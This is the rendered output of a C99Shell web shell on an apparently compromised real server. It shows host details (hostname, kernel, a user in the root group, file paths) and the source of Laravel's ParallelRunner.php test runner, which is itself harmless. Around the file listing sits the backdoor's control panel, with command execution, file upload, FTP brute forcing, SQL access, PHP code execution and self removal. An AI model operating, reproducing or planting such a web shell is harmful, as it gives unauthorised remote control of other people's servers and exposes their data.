!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Testing/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ParallelRunner.php (4.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Testing;

use 
Illuminate\Contracts\Console\Kernel;
use 
Illuminate\Support\Facades\ParallelTesting;
use 
ParaTest\Runners\PHPUnit\Options;
use 
ParaTest\Runners\PHPUnit\RunnerInterface;
use 
ParaTest\Runners\PHPUnit\WrapperRunner;
use 
PHPUnit\TextUI\XmlConfiguration\PhpHandler;
use 
RuntimeException;
use 
Symfony\Component\Console\Output\ConsoleOutput;
use 
Symfony\Component\Console\Output\OutputInterface;

class 
ParallelRunner implements RunnerInterface
{
    
/**
     * The application resolver callback.
     *
     * @var \Closure|null
     */
    
protected static $applicationResolver;

    
/**
     * The runner resolver callback.
     *
     * @var \Closure|null
     */
    
protected static $runnerResolver;

    
/**
     * The original test runner options.
     *
     * @var \ParaTest\Runners\PHPUnit\Options
     */
    
protected $options;

    
/**
     * The output instance.
     *
     * @var \Symfony\Component\Console\Output\OutputInterface
     */
    
protected $output;

    
/**
     * The original test runner.
     *
     * @var \ParaTest\Runners\PHPUnit\RunnerInterface
     */
    
protected $runner;

    
/**
     * Creates a new test runner instance.
     *
     * @param  \ParaTest\Runners\PHPUnit\Options  $options
     * @param  \Symfony\Component\Console\Output\OutputInterface  $output
     * @return void
     */
    
public function __construct(Options $optionsOutputInterface $output)
    {
        
$this->options $options;

        if (
$output instanceof ConsoleOutput) {
            
$output = new ParallelConsoleOutput($output);
        }

        
$runnerResolver = static::$runnerResolver ?: function (Options $optionsOutputInterface $output) {
            return new 
WrapperRunner($options$output);
        };

        
$this->runner call_user_func($runnerResolver$options$output);
    }

    
/**
     * Set the application resolver callback.
     *
     * @param  \Closure|null  $resolver
     * @return void
     */
    
public static function resolveApplicationUsing($resolver)
    {
        static::
$applicationResolver $resolver;
    }

    
/**
     * Set the runner resolver callback.
     *
     * @param  \Closure|null  $resolver
     * @return void
     */
    
public static function resolveRunnerUsing($resolver)
    {
        static::
$runnerResolver $resolver;
    }

    
/**
     * Runs the test suite.
     *
     * @return void
     */
    
public function run(): void
    
{
        (new 
PhpHandler)->handle($this->options->configuration()->php());

        
$this->forEachProcess(function () {
            
ParallelTesting::callSetUpProcessCallbacks();
        });

        try {
            
$this->runner->run();
        } finally {
            
$this->forEachProcess(function () {
                
ParallelTesting::callTearDownProcessCallbacks();
            });
        }
    }

    
/**
     * Returns the highest exit code encountered throughout the course of test execution.
     *
     * @return int
     */
    
public function getExitCode(): int
    
{
        return 
$this->runner->getExitCode();
    }

    
/**
     * Apply the given callback for each process.
     *
     * @param  callable  $callback
     * @return void
     */
    
protected function forEachProcess($callback)
    {
        
collect(range(1$this->options->processes()))->each(function ($token) use ($callback) {
            
tap($this->createApplication(), function ($app) use ($callback$token) {
                
ParallelTesting::resolveTokenUsing(function () use ($token) {
                    return 
$token;
                });

                
$callback($app);
            })->
flush();
        });
    }

    
/**
     * Creates the application.
     *
     * @return \Illuminate\Contracts\Foundation\Application
     *
     * @throws \RuntimeException
     */
    
protected function createApplication()
    {
        
$applicationResolver = static::$applicationResolver ?: function () {
            if (
trait_exists(\Tests\CreatesApplication::class)) {
                
$applicationCreator = new class
                {
                    use 
\Tests\CreatesApplication;
                };

                return 
$applicationCreator->createApplication();
            } elseif (
file_exists(getcwd().'/bootstrap/app.php')) {
                
$app = require getcwd().'/bootstrap/app.php';

                
$app->make(Kernel::class)->bootstrap();

                return 
$app;
            }

            throw new 
RuntimeException('Parallel Runner unable to resolve application.');
        };

        return 
call_user_func($applicationResolver);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--